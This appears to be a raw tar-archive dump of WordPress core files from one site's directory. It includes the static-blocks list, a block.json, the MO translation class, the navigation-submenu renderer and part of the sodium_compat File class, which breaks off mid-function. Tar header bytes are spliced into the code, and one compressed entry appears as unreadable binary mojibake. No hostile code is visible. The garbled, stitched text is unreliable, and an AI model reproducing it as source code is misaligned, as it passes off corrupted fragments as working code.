_deprecated_file( basename( __FILE__ ), '5.9.0', WPINC . '/class-wp-http.php' );

/** WP_Http class */
require_once ABSPATH . WPINC . '/class-wp-http.php';
14338/require-static-blocks.php.tar000064400000004000151024420100012717 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/require-static-blocks.php000064400000000765151024251570027570 0ustar00<?php

// This file was autogenerated by tools/release/sync-stable-blocks.js, do not change manually!
// Returns folder names for static blocks necessary for core blocks registration.
return array(
	'audio',
	'buttons',
	'code',
	'column',
	'columns',
	'details',
	'embed',
	'freeform',
	'group',
	'html',
	'list-item',
	'missing',
	'more',
	'nextpage',
	'paragraph',
	'preformatted',
	'pullquote',
	'quote',
	'separator',
	'social-links',
	'spacer',
	'table',
	'text-columns',
	'verse',
	'video',
);
14338/query-no-results.tar000064400000005000151024420100011174 0ustar00block.json000064400000001605151024243440006532 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-no-results",
	"title": "No Results",
	"category": "theme",
	"description": "Contains the block elements used to render content when no query results are found.",
	"ancestor": [ "core/query" ],
	"textdomain": "default",
	"usesContext": [ "queryId", "query" ],
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
14338/read-more.php.php.tar.gz000064400000001562151024420100011575 0ustar00��UKs�6�U�[�4�<�(+���t�\|˸��!�A`ri�&A�j2��],�]:���=�>�����+L
��k�N2�*�j�J�Z黶�mQ��}V�ڭ�Y]%�H�ls��mYg�61(�QU7�����]���m�'{��o���&�t���	�Oϧg)L�E��Z'
��7j�m��%''���h��Y�#�9R��%—�ƻ��я)·����^�!|�M���di7�6�o8�=�jͧ�1l�ZR��x2��*Y�4F���'�3�uh�'δ��X��P@Vk����c!���`?��G|z%좔&���nеFo���24���A�4��DE�3���@���“"<)“2�o�t�tcߢ�*`?���`}2Z���s��^�����5�8��:�Q��yq���4����S�D�C�^bXS�M���S�|>�����0�m�+W蠓��3R�R���K�[�+0G�]M3��:�"3�Ʉ�6@{��I��5��R2!=W�N��m�S��K�C&��YD�"|���^����݄C[��fЗ;�{\E����U�X����
-+O"V�[��s�v|D�
x�r	]eG�Ta>�v4��>�4���-
�}~<W��a�$��}�z�y�ʷ6'Q��Vv��C#�-Z�i:�x	L�
q
�V�e7�u7�x&�fai��w�S��1P��xk��~jg����y7�pf8�
�Ϲ�%�i1K�"�)>'�oo��T��b�y�
�<�̻�°|s\`K ��K����)��[|𐅜/?e|����U��0u%*t2�N�
|����01�AR����W3�eyK��W|�)����B2h҄��ŧ>�|����~�W{�W���'�ؗ�14338/mo.php.tar000064400000026000151024420100007122 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/pomo/mo.php000064400000022503151024302540023450 0ustar00<?php
/**
 * Class for working with MO files
 *
 * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage mo
 */

require_once __DIR__ . '/translations.php';
require_once __DIR__ . '/streams.php';

if ( ! class_exists( 'MO', false ) ) :
	class MO extends Gettext_Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 */
		public $_nplurals = 2;

		/**
		 * Loaded MO file.
		 *
		 * @var string
		 */
		private $filename = '';

		/**
		 * Returns the loaded MO file.
		 *
		 * @return string The loaded MO file.
		 */
		public function get_filename() {
			return $this->filename;
		}

		/**
		 * Fills up with the entries from MO file $filename
		 *
		 * @param string $filename MO file to load
		 * @return bool True if the import from file was successful, otherwise false.
		 */
		public function import_from_file( $filename ) {
			$reader = new POMO_FileReader( $filename );

			if ( ! $reader->is_resource() ) {
				return false;
			}

			$this->filename = (string) $filename;

			return $this->import_from_reader( $reader );
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		public function export_to_file( $filename ) {
			$fh = fopen( $filename, 'wb' );
			if ( ! $fh ) {
				return false;
			}
			$res = $this->export_to_file_handle( $fh );
			fclose( $fh );
			return $res;
		}

		/**
		 * @return string|false
		 */
		public function export() {
			$tmp_fh = fopen( 'php://temp', 'r+' );
			if ( ! $tmp_fh ) {
				return false;
			}
			$this->export_to_file_handle( $tmp_fh );
			rewind( $tmp_fh );
			return stream_get_contents( $tmp_fh );
		}

		/**
		 * @param Translation_Entry $entry
		 * @return bool
		 */
		public function is_entry_good_for_export( $entry ) {
			if ( empty( $entry->translations ) ) {
				return false;
			}

			if ( ! array_filter( $entry->translations ) ) {
				return false;
			}

			return true;
		}

		/**
		 * @param resource $fh
		 * @return true
		 */
		public function export_to_file_handle( $fh ) {
			$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
			ksort( $entries );
			$magic                     = 0x950412de;
			$revision                  = 0;
			$total                     = count( $entries ) + 1; // All the headers are one entry.
			$originals_lengths_addr    = 28;
			$translations_lengths_addr = $originals_lengths_addr + 8 * $total;
			$size_of_hash              = 0;
			$hash_addr                 = $translations_lengths_addr + 8 * $total;
			$current_addr              = $hash_addr;
			fwrite(
				$fh,
				pack(
					'V*',
					$magic,
					$revision,
					$total,
					$originals_lengths_addr,
					$translations_lengths_addr,
					$size_of_hash,
					$hash_addr
				)
			);
			fseek( $fh, $originals_lengths_addr );

			// Headers' msgid is an empty string.
			fwrite( $fh, pack( 'VV', 0, $current_addr ) );
			++$current_addr;
			$originals_table = "\0";

			$reader = new POMO_Reader();

			foreach ( $entries as $entry ) {
				$originals_table .= $this->export_original( $entry ) . "\0";
				$length           = $reader->strlen( $this->export_original( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1; // Account for the NULL byte after.
			}

			$exported_headers = $this->export_headers();
			fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) );
			$current_addr      += strlen( $exported_headers ) + 1;
			$translations_table = $exported_headers . "\0";

			foreach ( $entries as $entry ) {
				$translations_table .= $this->export_translations( $entry ) . "\0";
				$length              = $reader->strlen( $this->export_translations( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1;
			}

			fwrite( $fh, $originals_table );
			fwrite( $fh, $translations_table );
			return true;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_original( $entry ) {
			// TODO: Warnings for control characters.
			$exported = $entry->singular;
			if ( $entry->is_plural ) {
				$exported .= "\0" . $entry->plural;
			}
			if ( $entry->context ) {
				$exported = $entry->context . "\4" . $exported;
			}
			return $exported;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_translations( $entry ) {
			// TODO: Warnings for control characters.
			return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0];
		}

		/**
		 * @return string
		 */
		public function export_headers() {
			$exported = '';
			foreach ( $this->headers as $header => $value ) {
				$exported .= "$header: $value\n";
			}
			return $exported;
		}

		/**
		 * @param int $magic
		 * @return string|false
		 */
		public function get_byteorder( $magic ) {
			// The magic is 0x950412de.

			// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
			$magic_little    = (int) - 1794895138;
			$magic_little_64 = (int) 2500072158;
			// 0xde120495
			$magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF;
			if ( $magic_little === $magic || $magic_little_64 === $magic ) {
				return 'little';
			} elseif ( $magic_big === $magic ) {
				return 'big';
			} else {
				return false;
			}
		}

		/**
		 * @param POMO_FileReader $reader
		 * @return bool True if the import was successful, otherwise false.
		 */
		public function import_from_reader( $reader ) {
			$endian_string = MO::get_byteorder( $reader->readint32() );
			if ( false === $endian_string ) {
				return false;
			}
			$reader->setEndian( $endian_string );

			$endian = ( 'big' === $endian_string ) ? 'N' : 'V';

			$header = $reader->read( 24 );
			if ( $reader->strlen( $header ) !== 24 ) {
				return false;
			}

			// Parse header.
			$header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header );
			if ( ! is_array( $header ) ) {
				return false;
			}

			// Support revision 0 of MO format specs, only.
			if ( 0 !== $header['revision'] ) {
				return false;
			}

			// Seek to data blocks.
			$reader->seekto( $header['originals_lengths_addr'] );

			// Read originals' indices.
			$originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr'];
			if ( $originals_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$originals = $reader->read( $originals_lengths_length );
			if ( $reader->strlen( $originals ) !== $originals_lengths_length ) {
				return false;
			}

			// Read translations' indices.
			$translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr'];
			if ( $translations_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$translations = $reader->read( $translations_lengths_length );
			if ( $reader->strlen( $translations ) !== $translations_lengths_length ) {
				return false;
			}

			// Transform raw data into set of indices.
			$originals    = $reader->str_split( $originals, 8 );
			$translations = $reader->str_split( $translations, 8 );

			// Skip hash table.
			$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;

			$reader->seekto( $strings_addr );

			$strings = $reader->read_all();
			$reader->close();

			for ( $i = 0; $i < $header['total']; $i++ ) {
				$o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] );
				$t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] );
				if ( ! $o || ! $t ) {
					return false;
				}

				// Adjust offset due to reading strings to separate space before.
				$o['pos'] -= $strings_addr;
				$t['pos'] -= $strings_addr;

				$original    = $reader->substr( $strings, $o['pos'], $o['length'] );
				$translation = $reader->substr( $strings, $t['pos'], $t['length'] );

				if ( '' === $original ) {
					$this->set_headers( $this->make_headers( $translation ) );
				} else {
					$entry                          = &$this->make_entry( $original, $translation );
					$this->entries[ $entry->key() ] = &$entry;
				}
			}
			return true;
		}

		/**
		 * Build a Translation_Entry from original string and translation strings,
		 * found in a MO file
		 *
		 * @static
		 * @param string $original original string to translate from MO file. Might contain
		 *  0x04 as context separator or 0x00 as singular/plural separator
		 * @param string $translation translation string from MO file. Might contain
		 *  0x00 as a plural translations separator
		 * @return Translation_Entry Entry instance.
		 */
		public function &make_entry( $original, $translation ) {
			$entry = new Translation_Entry();
			// Look for context, separated by \4.
			$parts = explode( "\4", $original );
			if ( isset( $parts[1] ) ) {
				$original       = $parts[1];
				$entry->context = $parts[0];
			}
			// Look for plural original.
			$parts           = explode( "\0", $original );
			$entry->singular = $parts[0];
			if ( isset( $parts[1] ) ) {
				$entry->is_plural = true;
				$entry->plural    = $parts[1];
			}
			// Plural translations are also separated by \0.
			$entry->translations = explode( "\0", $translation );
			return $entry;
		}

		/**
		 * @param int $count
		 * @return string
		 */
		public function select_plural_form( $count ) {
			return $this->gettext_select_plural_form( $count );
		}

		/**
		 * @return int
		 */
		public function get_plural_forms_count() {
			return $this->_nplurals;
		}
	}
endif;
14338/navigation-submenu.php.tar000064400000027000151024420100012323 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/navigation-submenu.php000064400000023327151024256040027163 0ustar00<?php
/**
 * Server-side rendering of the `core/navigation-submenu` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @since 5.9.0
 *
 * @param  array $context Navigation block context.
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_submenu_build_css_font_sizes( $context ) {
	// CSS classes.
	$font_sizes = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	$has_named_font_size  = array_key_exists( 'fontSize', $context );
	$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes['inline_styles'] = sprintf(
			'font-size: %s;',
			wp_get_typography_font_size_value(
				array(
					'size' => $context['style']['typography']['fontSize'],
				)
			)
		);
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @since 5.9.0
 *
 * @return string
 */
function block_core_navigation_submenu_render_submenu_icon() {
	return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}

/**
 * Renders the `core/navigation-submenu` block.
 *
 * @since 5.9.0
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the post content with the legacy widget added.
 */
function render_block_core_navigation_submenu( $attributes, $content, $block ) {
	$navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] );
	$is_post_type           = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind'];
	$is_post_type           = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] );

	// Don't render the block's subtree if it is a draft.
	if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) {
		return '';
	}

	// Don't render the block's subtree if it has no label.
	if ( empty( $attributes['label'] ) ) {
		return '';
	}

	$font_sizes      = block_core_navigation_submenu_build_css_font_sizes( $block->context );
	$style_attribute = $font_sizes['inline_styles'];

	$has_submenu = count( $block->inner_blocks ) > 0;
	$kind        = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] );
	$is_active   = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind );

	if ( is_post_type_archive() ) {
		$queried_archive_link = get_post_type_archive_link( get_queried_object()->name );
		if ( $attributes['url'] === $queried_archive_link ) {
			$is_active = true;
		}
	}

	$show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'];
	$open_on_click           = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick'];
	$open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] &&
		$show_submenu_indicators;

	$classes = array(
		'wp-block-navigation-item',
	);
	$classes = array_merge(
		$classes,
		$font_sizes['css_classes']
	);
	if ( $has_submenu ) {
		$classes[] = 'has-child';
	}
	if ( $open_on_click ) {
		$classes[] = 'open-on-click';
	}
	if ( $open_on_hover_and_click ) {
		$classes[] = 'open-on-hover-click';
	}
	if ( $is_active ) {
		$classes[] = 'current-menu-item';
	}

	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => implode( ' ', $classes ),
			'style' => $style_attribute,
		)
	);

	$label = '';

	if ( isset( $attributes['label'] ) ) {
		$label .= wp_kses_post( $attributes['label'] );
	}

	$aria_label = sprintf(
		/* translators: Accessibility text. %s: Parent page title. */
		__( '%s submenu' ),
		wp_strip_all_tags( $label )
	);

	$html = '<li ' . $wrapper_attributes . '>';

	// If Submenus open on hover, we render an anchor tag with attributes.
	// If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click.
	if ( ! $open_on_click ) {
		$item_url = isset( $attributes['url'] ) ? $attributes['url'] : '';
		// Start appending HTML attributes to anchor tag.
		$html .= '<a class="wp-block-navigation-item__content"';

		// The href attribute on a and area elements is not required;
		// when those elements do not have href attributes they do not create hyperlinks.
		// But also The href attribute must have a value that is a valid URL potentially
		// surrounded by spaces.
		// see: https://html.spec.whatwg.org/multipage/links.html#links-created-by-a-and-area-elements.
		if ( ! empty( $item_url ) ) {
			$html .= ' href="' . esc_url( $item_url ) . '"';
		}

		if ( $is_active ) {
			$html .= ' aria-current="page"';
		}

		if ( isset( $attributes['opensInNewTab'] ) && true === $attributes['opensInNewTab'] ) {
			$html .= ' target="_blank"  ';
		}

		if ( isset( $attributes['rel'] ) ) {
			$html .= ' rel="' . esc_attr( $attributes['rel'] ) . '"';
		} elseif ( isset( $attributes['nofollow'] ) && $attributes['nofollow'] ) {
			$html .= ' rel="nofollow"';
		}

		if ( isset( $attributes['title'] ) ) {
			$html .= ' title="' . esc_attr( $attributes['title'] ) . '"';
		}

		$html .= '>';
		// End appending HTML attributes to anchor tag.

		$html .= '<span class="wp-block-navigation-item__label">';
		$html .= $label;
		$html .= '</span>';

		// Add description if available.
		if ( ! empty( $attributes['description'] ) ) {
			$html .= '<span class="wp-block-navigation-item__description">';
			$html .= wp_kses_post( $attributes['description'] );
			$html .= '</span>';
		}

		$html .= '</a>';
		// End anchor tag content.

		if ( $show_submenu_indicators ) {
			// The submenu icon is rendered in a button here
			// so that there's a clickable element to open the submenu.
			$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation__submenu-icon wp-block-navigation-submenu__toggle" aria-expanded="false">' . block_core_navigation_submenu_render_submenu_icon() . '</button>';
		}
	} else {
		// If menus open on click, we render the parent as a button.
		$html .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="wp-block-navigation-item__content wp-block-navigation-submenu__toggle" aria-expanded="false">';

		// Wrap title with span to isolate it from submenu icon.
		$html .= '<span class="wp-block-navigation-item__label">';

		$html .= $label;

		$html .= '</span>';

		// Add description if available.
		if ( ! empty( $attributes['description'] ) ) {
			$html .= '<span class="wp-block-navigation-item__description">';
			$html .= wp_kses_post( $attributes['description'] );
			$html .= '</span>';
		}

		$html .= '</button>';

		$html .= '<span class="wp-block-navigation__submenu-icon">' . block_core_navigation_submenu_render_submenu_icon() . '</span>';

	}

	if ( $has_submenu ) {
		// Copy some attributes from the parent block to this one.
		// Ideally this would happen in the client when the block is created.
		if ( array_key_exists( 'overlayTextColor', $block->context ) ) {
			$attributes['textColor'] = $block->context['overlayTextColor'];
		}
		if ( array_key_exists( 'overlayBackgroundColor', $block->context ) ) {
			$attributes['backgroundColor'] = $block->context['overlayBackgroundColor'];
		}
		if ( array_key_exists( 'customOverlayTextColor', $block->context ) ) {
			$attributes['style']['color']['text'] = $block->context['customOverlayTextColor'];
		}
		if ( array_key_exists( 'customOverlayBackgroundColor', $block->context ) ) {
			$attributes['style']['color']['background'] = $block->context['customOverlayBackgroundColor'];
		}

		// This allows us to be able to get a response from wp_apply_colors_support.
		$block->block_type->supports['color'] = true;
		$colors_supports                      = wp_apply_colors_support( $block->block_type, $attributes );
		$css_classes                          = 'wp-block-navigation__submenu-container';
		if ( array_key_exists( 'class', $colors_supports ) ) {
			$css_classes .= ' ' . $colors_supports['class'];
		}

		$style_attribute = '';
		if ( array_key_exists( 'style', $colors_supports ) ) {
			$style_attribute = $colors_supports['style'];
		}

		$inner_blocks_html = '';
		foreach ( $block->inner_blocks as $inner_block ) {
			$inner_blocks_html .= $inner_block->render();
		}

		if ( strpos( $inner_blocks_html, 'current-menu-item' ) ) {
			$tag_processor = new WP_HTML_Tag_Processor( $html );
			while ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-navigation-item' ) ) ) {
				$tag_processor->add_class( 'current-menu-ancestor' );
			}
			$html = $tag_processor->get_updated_html();
		}

		$wrapper_attributes = get_block_wrapper_attributes(
			array(
				'class' => $css_classes,
				'style' => $style_attribute,
			)
		);

		$html .= sprintf(
			'<ul %s>%s</ul>',
			$wrapper_attributes,
			$inner_blocks_html
		);

	}

	$html .= '</li>';

	return $html;
}

/**
 * Register the navigation submenu block.
 *
 * @since 5.9.0
 *
 * @uses render_block_core_navigation_submenu()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation_submenu() {
	register_block_type_from_metadata(
		__DIR__ . '/navigation-submenu',
		array(
			'render_callback' => 'render_block_core_navigation_submenu',
		)
	);
}
add_action( 'init', 'register_block_core_navigation_submenu' );
14338/File.php.tar000064400000154000151024420100007370 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/File.php000064400000150473151024242760026413 0ustar00<?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keyPair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output file');
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $ecdhKeypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input file');
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
